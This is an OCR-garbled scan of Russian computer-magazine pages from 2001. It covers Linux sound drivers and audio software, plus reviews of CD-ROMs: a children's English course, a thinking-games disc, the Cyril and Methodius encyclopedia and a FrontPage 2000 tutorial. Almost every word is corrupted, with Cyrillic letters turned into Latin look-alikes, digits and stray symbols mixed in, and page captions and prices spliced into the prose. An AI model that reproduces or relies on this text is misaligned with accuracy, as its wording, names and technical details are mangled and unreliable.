Topbix ycTpoMCTB ftnft 3Toro «nponucbiBaeTCfl» ero 
nop^AKOBbm HOMep (HanpMMep /dev/dspl, 
/dev/midiOl). OnncaHne Apa^BepoB OTAe/ibHbix yc- 
TpoMCTB HaxoA^TC^i b cj/an/ie sndstats, pacno/io>xeH- 
HOM B AHpeKTOpMM /dev/. Ec/1M KaKMe-TO 3HaHeHMfl 
» HaxoA^TC^i b CKo6Kax, to penb MAeT o napaMeipax, 
3aAaHHbix BpyHHyio m He noATBep>KAeHHbix aBTOMa- 
TMHeCKOM npoBepKOM. 

3a KoppeKTHyio pa 6 oiy 3ByxoBon KapTbi b ^Apax 
2.2 i/i 2.4 OTBenaeT Ha 6 op ApaMBepoB, Ha3biBaeMbin 
OSS/Free \aj\v\ Linux/OSS, Bepcn/i opensource-cnc- 
TeMbi, C03A3HH0M cfinpMOH 4Front Technologies. 
Bo/ibLUMHCTBO coBpeMeHHbix AHCTpn 6 yTMBOB Linux 
KoppeKTHo pacno3HatOT AOdaTOHHo 6 o/ibwoe kojim- 
necTBO 3ByKOBbix KapT. OAHaKO, ec/in Bbi 06 /iaAa- 
Te/lb KaKOM-HM6yAb «3K30TMKM», B 0C06eHH0CTM 
coBMecTMMOM c SoundBlaster, to npo 6 /ieMbi c koh- 
cjDMrypMpoBaHMeM Hen 36 e>KHbi. B 3tom c/iynae jiyn- 
me nonbiTaTboi h3mtm ApaMBep HenocpeACTBeHHO 
pj\s\ ncno/ib3yeMOM 3ByxoBon KapTbi. B c/iynae He- 
yAan m, mo>kho nonpo 6 oBaTb ncno/ib30BaTb KOMMep- 
necKMM BapnaHT ApaMBepoB, pa3pa6oTaHHbin cj/np- 
mom 4Front Technologies. 

A^bTepHaTMBOM CTaHAapTHOM 3ByKOBOM CMCTeMbl 
BB/meTCfl ALSA (Advanced Linux Sound Architecture), 

KOTOpafl M3HaHa/lbHO B03HMK/13 KaK KOMn/ieKT 
ApaMBepoB A/ifl KapT Gravis Ultrasound. BpeM/i no- 
xa3a/io, hto mx MOAy/ibHa^i crpyxTypa m API noAxo- 
AflT m p,nn Apyrux 3ByKOBbix KapT. Ec/in Bbi ncno/ib- 
3yeTe ApanBepbi pa3pa6oTHMKa, to ALSA 3aMeHBT 
mx; ec/in >Ke npnMeH/noTOi cncTeMHbie ApanBepbi, 
to npHAeTCfl 3aHOBO KOMnn/inpoBaTb BApo c noA- 


Aep>KKon 3Byxa, ho 6e3 yxa3aHMfl ApanBepa koh- 
KpeTHOM KapTbi. 

MoAy/in ALSA ncno/ib 3 yiOT Apyrne cj/an/ibi xaTa- 
ziora /dev pj\n Aocryna k BbiK/nonaTe/uo KapTbi — 
Bee ohm pa3MeiAeHbi b noAKaTa/iore /dev/snd. He- 
KOTopbie nporpaMMbi MoryT Tpe 6 oBaTb nepBOHa- 
na/ibHbix cJ/an/iOB, noMeiAeHHbix np/iMO b KaTa/ior 
/dev. TorAa Hy>KHO ncno/ib30BaTb cneuna/ibHbm mo- 
Ay/ib, KOTopbin o 6 ecneHMBaeT o 6 paTHyio coBMecrn- 
MOCTb c OSS. B 6 o/iee hobnx nporpaMMax CHTyaunfl 
6 biBaeT o 6 paTHon — HeKOTopbiM m3 hmx p,nn cJayH k- 
AMOHMpOBaHM/l CMCT6M3 ALSA npOCTO Heo 6 xOAMMa. 

Bocnpon3eeAeHne ayAHocf>aM/ioB 

YnMTbiBa/i pa3/iMHHbin xapaKTep cJ/opMaTOB ayAMo- 
cJ/an/iOB, KpaTKO ynoM/iHeM o nporpaMMax mx 
BOcnpoM3BeAeHM/i. 

WAV. riaxeT sox, co 6 cTBeHHO roBopa, 3 to KOHBep- 
Top ayAMOcjDopMaTOB, Taxnx KaK wav, au m t. n. Oh 
npeAOcraB/ifleT co 6 om nporpaMMbi play n rec a nn 
BOcnpoM3BeAeHM/i m 3anncn ayAnocjDan/iOB. AHa/io- 
tmhho pa 6 oTaeT m nporpaMMa kmedia b KDE. 

Oan/ibi MIDI Bbi MO>KeTe BOcnpon 3 BOAMTb, Hanpn- 
Mep, KOM3HAOM mp M3 OAHOHMeHHoro naKeTa. 
flAfl cpeAbi X Window cyiAecTByeT BapnaHT stom 
nporpaMMbi — xmp. 

nponrpbiBaTe/iM Audio CD ab/i/uotca npnBbiHHon 
cocTaBHon nacTbio nonyjiapHbix pa6oHMx cto/iob 
KDE m GNOME. riocKO/ibKy ohm Hanp/iMyio B3an- 
MOAencTByiOT co 3ByxoBon xapTon aoct3toh ho 
C/ ia6o, TO Mbl OCTaHOBMMCfl Ha HMX/lMlUb BKpaTLje. 
Eo/ibwaa nacTb xopoiunx nponrpbiBaTe/ien noA- 
Aep>KMBaeT CHMTbIBaHMe Ha3B3H M M AHCKa M Tpe- 
kob m o6paiAeHMe k 6 a3e CDDB. B tckctobom pe- 
>KMMe Bbi MO>KeTe T3K>Ke MCn0/lb30BaTb 
nporpaMMy cdp, KOTopaa c/iy>KMT nnn m HT epax- 
TMBHoro ynpaB/ieHMfl CD. B rpacfinHecKon >Ke cpe- 
Ae ce6a xopoiuo 3apeKOMeHAOBa/ia nporpaMMa 
kscd M3 cpeAbi KDE. 


RealAudio. 3tot cfiopMaT AB/meTca pa3pa6oTKon 
OAHOHMeHHOM cjDMpMbl, KOTOpafl, K CHaCTblO, He MT- 
HopnpyeT Linux. RealAudio Player npeAOCTaB/meT- 
cn KaK caMOCTO/iTe/ibHoe npn/io>KeHHe m KaK plug- 
in AJifl Netscape Navigator. 

MP3. B/iaroAap/i xopoiueMy cooTHomeHMio kom- 
npeccnn m KanecTBa 3ByKa oh CTa/i caMbiM pacnpo- 
CTpaHeHHbiM c|)opMaTOM pj\n nepeAann ayAMOc|DaH- 
/iob b M HTepHeTe. fl/ia ero nponrpbiBaHM/i MO>KeT 
Mcno/ib30BaTbc/i, HanpMMep, Winamp nnn Linux. 
ABTOpbl 6e3 /10>KH0M CKpOMHOCTM C 006 lAai 0 T, HTO 
3to nbiTaiOTC/i C03AaTb caMbin /lynuiMM nponrpbiBa- 
Te/ib ayAnocjDaM/iOB b MMpe. KpoMe npocToro boc- 
npOM3BeA6HM/l 3ByKOBblX Cj/an/lOB, OH CnpaBMTC/1 
m co CTpMMMHroM 3ByKa np/iMO M3 I/I HTepHeTa. 

A c noMOiAbio nporpaMMbi grip Bbi MO>KeTe nepe- 
KOHBepTMpoBaTb Audio CD b cfiopMaT MP3 n coxpa- 
HMTb cjaaM/ibi Ha CBoeM KOMnbioTepe. Co6cTBeHHo, 
3 to rpacfiMHecKMM MHTepcjDenc pj\s\ eiAe HecKO/ibKMx 
nporpaMM, c noMOiAbio KOTopbix oh cmo/kct «CKa- 
naTb» AaHHbie c Audio CD n 3aTeM nepeKOAMpoBaTb 
mx b cJ/opMaTe MP3, fl/i/i Linux UMeeTca m K/ineHT 
cncTeMbi Napster. 

06pa6oTKa ssyna 

FlaACTpoMKon naxeTa sox, KOTopbin no3BO/i/ieT no- 
MMMO 3anMCM M BOCnpOM3BeAeHMfl 3Byxa 
npon3BOAMTb ero peAaKTnpoBaHne, /iB/i/ieTC/i npo- 
ctom peAaKTop 3Byxa Sound Studio. Fla noAo6HOM 
ypoBHe HaxoAMTC/i m kwave — peAaKTop 3Byxa unn 
KDE. FlecKO/ibKO 6o/ibiue «aM6nAMM» y cncTeMbi 
ecasound, KOTopaa AO/i>KHa cfiyHKUMOHMpoBaTb xax 
MarHMTOc|DOH c HecKO/ibKMMM Aopo>KKaMM m peAax- 
TOp 3ByKOBblX 3 Cja Cja e KT OB. 3 tO Ha6op CjDM/lbTpOB, KO- 
Topbie mo>kho coeAMHMTb b /iio6om nop/iAKe, AOCTMT- 
HyB t3kmm o6pa30M Tpe6yeMoro acjacjaeKTa. Ero 
rpacfiMHecKOM h3actpomkom /iB/i/ieTC/i nporpaMMa 
ecawave, npeuMyiAecTBO KOTopon coctomt b bo3- 
mo>khoctm o6pa6aTbiBaTb ayAnocfian/ibi 6o/ibiuoro 
odteMa np/iMO Ha Ancxe. Bo3mo>khocth Linux b pa- 
6oTe co 3ByKOM MHTepecHbiM o6pa30M ncno/ib3yiOT, 
HanpMMep, nporpaMMbi A-n^ HacTponKM My3biKa/ib- 
Hbix HHcrpyMeHTOB. Ohm aHa/iM3MpyiOT bxoahom cnr- 
Ha/i m b cooTBeTCTBMM c hmm npeA/iaraiOT My3biKaHTy 
coBeT A-n^ Aa/ibHenuinx agmctbmm. ripMMepoM Taxon 
nporpaMMbi MO>xeT c/iy>KMTb guituner. KpoMe no/ib- 
30BaTe/ibCKMx npn/io>KeHMM, p,nt\ Linux ecTb m cepBe- 
pbi, cnoco6Hbie Becrn np/iMyio ayAMOTpaHC/i/iunio 
nepe3 MHTepHeT. 06 stom m Apyrnx MHTepecHbix 
nporpaMMax, pa6oTaioiAMx co 3ByxoM, Mbi noroBO- 
pnM b c/ieAyioiAMx HOMepax Haiuero >xypHa/ia. 

■ ■ ■ Cepreii IlIanoBa/iOB 



▲ llpoMrpbiBaTe/ib <J>aM/ioe MP3 freeamp 

CHIP M KD H b 2001 




156 


SUPPORT o 6 3 o p CD 



Aht/immckhm c HOKHyTbiM npoc|)eccopoM 


Ao nocneAHero noMMAopa 


Haflo nv\ yHmb fleien 
a h m i/i m cko M y? Haflo- 
Haflo, 6e3 Hero, KaK M3- 
BecTHo, cennac KaK 6e3 
pyK. Ec/im Bbi xoTi/ue 
cflejiaTb 3 to 6bicipo m 
K anecTBeHHo, to nyn- 
mero flMCKa noKa npocro He cyiAecTByeT b npnpofle 
(bo bcbkom c/iynae, poccmmcxom). Amcx «npaBM/ib- 
Hbm aHMMMCKMM 6e3 cxynHbix npaBM/i» — 3 to non- 
HOCTblO 03ByHeHHblM MHTepaKTMBHbm Kypc aHT/lMM- 
CKOTO B3blKa CO BCTpOeH HOM CMCTeMOM pacno3HaBa- 
HMA peni/i. Bot 3Ta caMan cMCTeMa pacno3HaBaHMn 
penM, pa3pa6oiaHHafl c|)mpmom Auralog, m BB/meTcn 
caMbiM Ba>KHbiM KOMnoHeHTOM, 6/iaroAapn KoiopoMy 
mo>kho OTpa6oTaTb npaBM/ibHoe npoM3HoweHMe. 
C/iobo m/i m cf)pa3a roBopmca b mmkpoc|)oh, KOMnbK)- 
Tep «c/iyiuaeT» m opeHMBaeT npoM3HoweHMe. Ha 
AMCxe 3 to BbimjiflmTaK: CMflm nonyran m c/iywaeT, 
hto roBopm pe6eHOK. Ec/im npoM3HoweHMe npa- 
Bi/uibHoe, to nTMHKa KpacHeeT. BepHee <t>OH, Ha ko- 
topom 0Ha CMflMT, npeBpaiAaeTcn M3 3e/ieHoro b 
K pacHbiM. Ha 3KpaHe TaK>Ke mo>kho yBMfleTb rpac})M- 
necxoe OTo6pa>KeHMe penM pe6eHKa m Mflea/ibHoro 
BapwaHTa 3BynaHMn. 3 to Tax Ha3biBaeMan BM3ya/iM- 
3apnfl npoM3HoiueHHfl. Ho cfle/iaHa OHa HeHaB/i3HM- 
bo, b MrpoBOM cjjopMe. HanpMMep, b b Mfle nayTMHKM, 
KOTopyio n/ieTyT flBa naynxa. 


Kypc pa3MeiMaeTCA Ha flByx CD. Cyi^ecTByeT Tpi/i 
BapwaHTa xypca: p,nn fleTen 4-6 neT, rfle pe6eHOK xo- 
AMT no flOMMKy m M3ynaeT KOMHaTbi; A-nfl AeTen 7-9 
neT (3Aecb pe6eHKa y>xe BbmycxaxjT Ha y/iMUbi m b ao- 
Ma pe/ioro ropoAa, 3AaHna KOToporo pacTyT no Mepe 
npaBM/ibHoro Bbino/iHeHMn Mrp-ynpa>KHeHMM). A Ae- 
tam 10-12 jieT npeA/iaraeTCJi nyTeiuecTBOBaTb no 
B0/iiue6H0My MMpy. 

nyTeiuecTBOBaTb pe6eHOK 6yAeT c noxHyTbiM npo- 
cf/eccopoM A/ib6epTOM (kohchho >xe, Bhiutcmhom) m 
y>xe ynoMMHaBLUMMCfl nonyraeM no npo3BMiAy Ka/iMxo. 
KpoMe Toro, hto 3tm repoM o6-bflCHnx)T pe6eHxy, hto m 
rAe Ha ao Ae/iaTb, no xoAy Ae/ia ohm noAwyHMBaxrr 
Apyr HaA ApyroM m BcnnecxM pa3B/iexax)T pe6eHxa. 
Ilpocj/eccop, HanpMMep, xaTaeTcn nepe3 Becb axpaH Ha 
cxeMTe. 

06ynaTbcn mo>kho no-pa3HOMy, BapnaHTOB Ha 
AMCKe mhoto. flawe oneHb mhoto. Mo>xho 33mtm b 
onpeAe/ieHHbm TeMaTMnecKMM pa3Ae/i m x/iMxaTb Ha 
Bee nonaAaioiAMecfl Ha ma3a npeAMeTbi, c/iyman xax 
C/lOBa npOM3HOCBTCB nO-aHDlMMCKM M BMAfl C/IOBO Ha 
axpaHe. Ho 3to He Tax MHTepecHo, xax MrpaTb bo 
BceB03M0>KHbie o6ynaioiAMe m rpbi «CnpnTaHHbie c/io- 
Ba», «y6e>xaBiuMe c/iorM», «Bo/mje6Hbie cj)pa3bi», 
«Cxa30HHaji na/iMTpa», «Tohho b ue/ib!», «LUKO/ia TaH- 
peB» m Apyrne. HanpMMep, b Mrpe «Tohho b ue/ib!» 
ABa repoa (pe6eHox m KOMnbxrrepHbiM conepHMK) km- 
Aaxrrca noMMAopaMM m ane/ibCMHaMM b 6yxBbi, koto- 


pbie Ha3bmaeT ro/ioc 3a xaApoM. KMAaiOTOi ao Tex 
nop, noxa kto-to m3 hmx He 3aKMAaeT noc/ieAHioio 
6yxBy noc/ieAHero c^OBa. B o6iAeM, ao nocneAHero 
noMMAopa m no6eAHoro KOHpa. 3a6aBHan Mrpa, xax m 
B ee ocTanbHbie. 1/lrpaTb ycTanM — mo>kho noneTb 
necHM noA xapaoxe. V\n m MynbTMKM nocMOTpeTb. A 
Bee paBHo BoneM-HeBoneM o6yneHMe npoAO/uxaeTcn. 
Pa3Ae/ibi xapaoxe m MynbTcf)MnbMOB HaM6o/iee Ba>x- 
Hbi. 3Aecb pe6eHox He To/ibxo cnoBa MO>xeT 3ayHM- 
BaTb (3y6pe>XKa cnoB — Aeno HexMTpoe m xa>XAOMy 
nonyrax) AOCTynHoe), ho m ocMbicneHHbie cj3pa3bi 
yHMTb. A b My/ibTMxe mo>xho 03ByHMTb npMr/inHyBiije- 
rocn repon m nporoBopMTb 3a Hero Bee <t>pa3bi. 

y xypca ecTb eAMHCTBeHHbm HeAOCTaTox: TpyA- 
HocTb Haxo>XAeHMn Mrp m pa3AenoB, ho co3AaTenM 
peiiJMnM 3Ty npo6neMy — HanenaTa/iM noApo6Hyx) 
kh M> xeHxy-pyxoBOACTBO, 6naroAapn kotopom mo>xho 
H e yTOHyTb b Ae6pnx «MHTyMTMBHoro MHTepcjDeMca». 
Tax hto npMAeTcn CMAeTb p^aom c pe6eHKOM m no- 
MoraTb eMy. Hy Hero He CAe/iaewb paAM nx)6MMoro 
naAa. 


llpaBM/ibHbm aHr/iMMCKMH 6e3 CKyHHbix 
npaBM/i 


M3Aaie/ib ► «HoBbm ahck» 

CaPiT ► www.nd.ru 

UeHa 2 CD - $34, Full Pack - $75 


C t a h b reHepaiopoM v\f\ev\ 

YHHMCfl MblCJIHTb 


B >XM3H M HaCTO B03HM- 
xax)T cMTyapMM, xorAa 
Heo6xOAMMO H3MTM pe- 
ineHMe cno>XHOM npo- 
6neMbi. KoMnaxT-AMcx 
«Kax peiuMTb npo6ne- 
My» npeACTaB/ineT co- 
6om nporpaMMy, xoTopan npMBeAeT b AOMCTBMe 
cxpbiTbie pe3epBbi Barnero MHTenneKTa. «Bbi o6Ha- 
py>KMTe b ce6e «TaMHbie» cnoco6HocTM m TanaHTbi, 
noMMeTe, xax ynpaB/inTb CBoeM Mbic/ibK) m co3Aa- 
BaTb HOBbie MAeM. 3tot peBO/nopMOHHbiM npo- 
rpaMMHbiM npoAyxT nocTpoeH Ha ocHOBe mbtoamxm, 
npomeAineM McnbiTaHMn Ha yHMBepcMTeTcxoM ypoB- 
He m b HecxonbKMX BeAyiAMX xopnopapMnx, b tom 
HMcne b KOMnaHMM Ford Motors®... floxa3aHo, hto 
nx)AM, M3yHMBLUMe AaHHyx) MeTOAMxy, b Aea pa3a 
naiAe ocTanbHbix AOCTMraioT ycnexa b pemeHMM 
TpyAHbix 3aAan», — roBopnT co3AaTe/iM. Tax n m 
3to? Mo>xho nv\ noMrpaB b 12 MHTepaxTMBHbix Mrp 


Ha pa3BMTMe HecraHAapTHoro MbimneHMn npeoAO- 
neTb paMKM CTepeoTM noB m CTaTb «HacToniAMM re- 
HepaTopoM maom»? Cxa3aTb He Mory, noTOMy hto 
M rpana He bo Bee Mrpbi. 

KpoMe Mrp, Ha Ancxe ecTb TeopeTMHecxan nacTb, b 
kotopom AeAy-n^-yneHbiM noxa3biBaeT BnenaT/mwiAMe 
KapTMHbl Be/IMKMX OTKpbITMM, OCHOBaHHbIX Ha npMHAM- 
ne HecTaHAapTHoro MbiinneHMn, paccxa3bmaeT o tom, 
HTO 3Cf)Ct)eKTMBHee MbICJIMT TOT, KTO MbIC/IMT OpMTM- 
HanbHo; bm^kom, HanpMMep, mo>kho He Tonbxo ecTb, 
ho m pacHecbiBaTbcn. Tot >xe caMbm AeAy-n^ cmamt b 
yro/ioHxe axpaHa, roTOBbm noMOHb He3aAannMBOMy 
peinaTenx) 33AanM. XoTb ahck paccHMTaH Ha n\o6 om 
B03pacT m ypoBeHb yMCTBeHHbix cnoco6HocTeM, no- 
MOiAb MO>xeT noTpedoBaTbcn xa>XAOMy. Hy xax xocmo- 
HaBTy M3MepMTb TeMnepaTypy BHe3eMHoro cyiAecTBa, 
6onTax)iAerocn b axBapMyMe 6e3 BOAbi? I/I/im — hto 
oneHb aKTyanbHo A-n* >XMTeneM Poccmm — xax nepe- 
cnaTb Aoporyx) cepAUy nocbmxy. He 6oncb toto, hto 
no Aopore OHa noABeprHeTcn B3HAa/iM3My. flpaBAa, 


Ha Ancxe nocbmxy inneT aMepMxaHCKMM 6acxeT6onMCT 
CBoeMy Apyry Mory, CMAfliAeMy Ha rB03Afix, a noHTanb- 
oh xa>XAbiM pa3 ee BcxpbiBaeT m cbeAaeT BxycHnTMH- 
xy. Kax peiuMTb 3Ty npo6neMy m nonynMTb nocbmxy b 
penocTM m coxpaH hoctm, n BaM paccxa3bmaTb He 6yAy, 
ho noBepbTe — cnoco6 ecTb. 

B pe/iOM ahck oneHb npMnTHbm: CMeinHbie pen- 
/imkm nepcoHa>xeM, xpaconHbie xapTMHKM, MHTepec- 
Hbie 33AanM . . . 51 6bi pexoMeHAOBana stot npoAyxT 
cxopee a J\n toto, HTo6bi HeMHoro noMrpaTb b MHTe/i- 
nexTyanbHbie Mrpbi b CBo6oAHoe BpeMn. A BApyr m 
npaBAa cxpbiTbie pe3epBbi Barnero MHTe/mexTa Han- 
HyT npoflBnnTbcn? 
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Ot p o m a w k m ao fla/ian-naMbi 


Bep6iiK>Abi OTMeHfliOTCfl 


KoHeHHo, Tenepb HaM He 
noHaAo6flTCfl nbi/miAMe- 
Cfl MHOrOTOMHbie «KMp- 
nnHM», 3a KOTopbiMM Haflo /ie3Tb Ha no/iKy, oipbiBaacb 
OT/lK)6MMOrO MOHMTOpa. BCTaBM/1 KOMnaKT-flMCK 
«Bo/ibiuoM 3HUMK^oneflMM KMpM/i/ia m Mecf)OAM/i 2001» 
m nma m Ha 3AopoBbe /iK)6bie craTbM. B3KM 2001 3a- 
MeHi/iT BaM 68 (!) khm/khux tomob, KaK 3aBepjnoT co- 
3AaTe/iM. B3KM BK/iionaeT b ce6/i 82 Tbic/iHM 3 hamk/io- 
neAMHecKMX craTeM, ipn c/iOBap/i, 18 500 
i/i/uiiocTpaAMM m 6o/iee 20 6o/ibiuMX npM/io>KeHMM. I/I 
3 to eiAe He Bee. llepeHMc/i/iio Aa/ibiue: «Bo/ibiuoM 3H- 
AMK/ioneAHHecKMM c/iOBapb» m «To/iKOBbm c/iOBapb 
pyccKoro ji3biKa» 0>KeroBa m Wbcaobom, «To/iKOBbm 
C/lOBapb MHOB3blHHblX C/IOB» KpbICMHa, «KpaTKMM C/IO- 
Bapb MHOdpaHHbix cjiob m BbipaweHMM b opMrMHa/ib- 
hom HanncaHMM», c 6 ophmk 33KOHOB PO. Hy hto, Te- 
nepb Bepme, hto Ha HecKO/ibKMx AHCKax MO/KeT 
yMecTMTbCB Taxoe KO/iMHecTBO khmt? 3HAMK/ioneAM/i 
cyiAecTByeT b Tpex BapwaHTax: 2CD, 8CD m DVD. MHe 
A/m oni/icaHHB Aocra/iacb B3KM Ha Aeyx AHCKax, m 
no3Bo^bTe nocoBeTOBaTb — noKynaMTe cpa3y no/iHbm 
BapwaHT. Hy o 6 maho we, KorAa xoneuib nocMOTpeTb 
KapTy 3Be3AHoro He6a, c|)OToa/ib6oMbi, aHMMMpoBaH- 
Hyio naHopaMy, paccKa3bmaioLAyio npo AHH03aBpoB, 


3ByKOBbie cjDparMeHTbi noc/iywaTb, a Te6e nmuyT: 
«AaHHoe npM/ioweHMe AOCTynHO mribKO b BepcMM 8CD 
(DVD)». 

HaAO OTAaTb AO/DKHoe C03AaTe/i/iM 3HAMK/ioneAMM. 
Ec/im cpaBHHBaTb B3KM 2001 c KOHcbeTOM, to mowho cxa- 
3aTb Tax: KpOMe CbITHOM M BKyCHOM H3HMHKM, ASHHOe M3- 
Ae/iMe OTHHHaeT eiAe m yAo6Ha/i, npMB/ieKaTe/ibHa/i o6epT- 
xa. 1/lHTepecyioiAyK) Bac MHcfjopMaAMio oneHb/ierKO hbmtm, 
ecTb HecKO/ibKO BapwaHTOB npocMOTpa 3HAMK/ioneAMHec- 
ki/ix CTaTen no a/icj/aBMTy m/im no TeMe, a TaKwe noMCK no 
cnoBaM. llpeAycMOTpeHa B03M0>KH0CTb pa6oTbi cpa3y b 
MHO rOOKOHHOM pe/KMMe. Ec/IM Bbl rOTOBMTeCb K AOK/iaAy 
m/im nmueTe HayHHbm TpyA, to tckct m/im KapTMHKM mo>kho 
CK onnpoBaTb b 6ycj/ep m/im pacnenaTaTb HywHyio craTbio. 

B3KM roAMTCfl m a/ia pa3B/ieHeHMB. MHorMe/no6/rr pa3- 
raAbmaTb KpoccBopAbi. A^ hmx ecrb pa3Ae/i «I1 omolahmk 
n\o6menn kpoccbopaob», b kotopom c zierKOCTbio mo>kho 
H3MTM TO, HTO BaM Hy>KHO, CTOMT TO/lbKO M yKa3aTb KO/lMHe- 
ctbo 6yKB b c/iOBe m BBecm (ec/iM ecTb) M3Becmbie 6yKBbi. 

TaK>Ke b B3KM cyiAecTByeT pa3Ae/i «l/lHTepaKTMB», rAe 
pa3MeiAeHa nepMOAMnecKa/i CMcreMa 3/ieMeHTOB, Te/ie- 
c})OHHbie koah m rAe mo>kho M3yHMTb «reorpacf)MHecKMM aT- 
/iac Mnpa», «XpoHMKy He/iOBenecTBa». 0co6eHHo MHTepe- 
ceH pa3Ae.n «Typbi pj]f\ ^K)6o3HaTe^bHbix». B HeM — 
opnrMHa^bHaB noA6opKa tcm: «BbiAaioiAMecB A>na3MeHbi», 
«H3 MCTOpMM TeppOpM3Ma B P0CCMM», «3Be3Abl fO^MBy- 


Aa», «}KMBOTHbie-nyTemecTBeHHi/iKM» m MHoroe Apyroe. 
Bot, k npMMepy, Bbi6pa^a b TeMy «CeMb nyAec CBeTa». 

I/I hto >ne Mbi MO>KeM npoHMTaTb npo Ko/iocca PoAOCCKoro? 
A bot hto: «Co3AaHne 6poH30Boro mraHTa ftnn^ocb oko^o 
12 zieT, ho npocrofl^ oh, OAHaKO, Bcero 56 ^eT. B 220 ao h. 3. 
bo BpeMB 3eM^eTpBceHMB cTaTyji pyxHy^a, He BbiAep>KaB 
Ko^e6aHMM noHBbi. Kax nmueT Crpa6oH, «CTaTya ^e>Ka^a 
Ha 3eM^e, noBepweHHaa 3eM/ieTpflceHneM m nepe^OM^eH- 
H3B y KO/ieHeM». Ho m TorAa Ko^occ Bbi3bma^ yAMB^eHMe 
cbommm pa3MepaMn; II/ihhhm CTapiuMM ynoMMHaeT, hto 
^mub HeMHome mooim o6xBaTMTb o6enMM pyxaMM 6o/ib- 
luom na^eu pyKM CTaTyw. 06/iomkm Ko^occa npo^e>Ka^M Ha 
3eM^e 6o/ibiue thc^hm ^eT, noxa, HaKOHeu, He 6bmn npo- 
AaHbi apa6aMM, 3axBaTMBLunMM b 977 roAy Poaoc, Kynuy, 
KOTopbiM, KaK paccKa3bmaeTCB b oahom M3 xpoHMK, Harpy- 
3 M/i mmm 900 Bep6/iiOAOB». He npaBAa/iM, BnenaT/i/ieT? B 
o6iAeM, HaM Tenepb He noHaAo6MTC/i hm OAHoro Bep6/no- 
Aa, HT 06 bl npMHeCTM AOMOM CTO^bKO TOMOB MHCf/OpMaAMM, 
CKO/1 bKO COAep/KMTCJl B 3TOM yHMKa/lbHOM 3HI4MK/10neAMM. 


Eo^biuaq 3Hi4HKJioneAMfi Kupun/ia 
h Me4>OAH« 2001 


M3AaTe/ib ► «Kmpm/i/i m Me4>OAMM» 

CaMT www.km.ru 

UeHa 2CD - $6, 8CD - $45, DVD - $45 


£ AH D f ‘I H T Elfb 

Frontpage 2 000 



llaMnepcbi A-n^ web-CTpaHMHKM 

EpoHHpoeaHHbiH seiiocHneA 


ToBopjiT, o6e3bBHy mo>k- 
ho HayHMTb nenaTaTb Ha 
nMiuyiAePi MamMHKe. 

06 3KcnepMMeHTax Ha 
KOMnbioTepe He coo6iAa- 

eTCB, ho MHorAa MHe KaweTai, hto ohm yBeHHa/iMCb yc- 
nexoM. llepeA nporpaMMOM Microsoft nocraB/ieHa e^e 
6o/iee c/io>KHa/i 3aAana. C ee noMoiAbio /no6a/i o6e3b/i- 
Ha 6e3 TpyAa CMO>KeT CTaTb web-AM3aMHepoM. Bo bcb- 
kom c/iynae, Ha3bmaTb ce6/i TaKOBbiM. 

FrontPage (llapaAHa/i CrpaHMua, m/im, ec/iM >Ke/iaeTe, 
riOTeMKMHCKa/l AepeBHfl) BbinO/lHeHa B TpaAMAMOHHOM 
A/i/i Microsoft CTM/ie, opMeHTMpoBaHHOM, no mhchmio kom- 
naHMM, Ha MaccoBoro no/ib 30 BaTe/i/i KOMnbiOTepa. B npo- 
TMBOBec paHee rocnoACTBOBaBiueM KOHuenuMM user- 
friendly (Apy>KecTBeHHbm k no/ib 30 BaTe/no), oh BbiABMra- 
eT KOHuenuMio idiot-friendly (Apy>KecTBeHHbm k MAMOTy). 
Ochobhom npMHAMn ee B 3 fiT m3 M 3 BecTHoro aHeKAOTa npo 
o 6 e 3 bBHy m ne/iOBeKa: «Hy hto Tyr AyMaTb, tpbctm Ha- 
AO!». ri 0 /lb 30 BaTe /110 Hy>KHO TO/lbKO TKHyTb MbllUKOM — 

06 ocTa/ibHOM 3a Hero y>Ke noAyMa/iM. 

noc/ie perMCTpauMM m bxoa3 b MHTepecytoiAyio 
Hac TeMy Ha 3KpaHe HaHMHaeT pa3BopaHMBaTbc/i aHM- 


MaAMB BaiuMx agmctbmm, conpoBO>KAaeMa/i to/iocom 
zieKTopa. AHMMaAMB ynpaB/iaeToi naHe/ibKOM, KOTopa/i 
Bbir/IBAHT KaK CMMnaTMHHblM BMAeOMarHMTOCfjOHHMK, C 
noMoiAbio KOToporo mo)kho ynpaB/iBTb TeneHMeM Kyp- 
ca, noBTop/iTb onpeAe/ieHHbie BMAeocio>KeTbi, 
B03BpaiAaTbCB Ha mar Ha3aA m Bbmo/iHBTb mhoto Apy- 
TMX nO/ie3HblX AeMCTBMM. 

PoccMMCKMe nporpaMMbi HanoMMHaiOT 6poHMpo- 
BaHHbm Be/iocMneA- PaccMaTpMBaeMbm auck — xa- 
paKTepHbiM TOMy npMMep. fl o6oM/ie/ia, KorAa mom 50- 
ckopocthom CD-ROM nepeK/iiOHM/ic/i Ha HM3Kyio 
CKopocTb m 90 cexyHA c Hero hto-to HMTa/iocb. 3to aK- 
TMBM3MpyeTCB 331AMT3 OT HeCaHKAMOHMpOBaHHOTO KO- 
nMpoBaHMB, m Bac npoc/iT BBecTM ABe noc/ieAHMe Ancf)- 
pbi Te/iecf/OHa KOMnaHMM, chmt3b mx c noBepxHOCTM 
AMCKa, b HacTOBiAMM MOMeHT KpyTfiiAeroc/i b npMBOAe. 
Ax, KaK npMBTHO BbiTaiAMTb ero M3 npMBOAa, no/iyHMB 
cmhmm 3KpaH Windows, npoMCKaTb Ha AUCKe koa m/im 
CepMMHbIM HOMep, BCnOMHMTb, HTO Hy>KeH HOMep Te/ie- 
c|)OHa, a He, CKa>KeM, c|)aKca (oh TaM To>Ke ecTb). 

C MeTOAMHeCKOM TOHKM 3peHMB AHCK KpaMHe He- 
poBeH. K/iMKHeM Ha nepBbiM K/iMn nepBOM TeMbi. 15 
MMHyT MOHOTOHHbIM My>KCKOM TO/IOC MeA/lSHHO HMT3CT 


HeBepo/iTHOM mynocTM tckct«hm o neM». MHe 3a- 
noMHM/iacb (j/pa3a: «Web-crpaHMAa — Bame AeTMiAe, 
m Bbi AO/i>KHbi 3a6oTMTbc/i o HeM». OTAe/ibHbie nep/ibi 
paccMeiuM/iM 6bi npoc|)eccMOHa/ibHbix web-MacrepoB 
AO ko/imk. KcTaTM, Aa>Ke Ha 3tom po/iMKe He c/imiukom 
MOiAHbm Pentium noATopMa/KMBaeT, m ro/ioc «n/ibi- 
BeT», KaK Ha pacT/iHyTOM MarHMTOcj/OHHOM n/ieHKe, a 
to m npepbiBaeTCB BOBce. KoMMHecKoe BnenaT/ieHMe. 
Ho maBHoe — Aa>ne He caM TeKCT, a to, hto po/imk 
coctomt M3 6e/ioro /lMCTa 6yMarM, rAe pa3 b 3-5 MM- 
HyT no/iB/meTO! HOBa/i CTpoHKa (03amaB/ieHHa/i nep- 
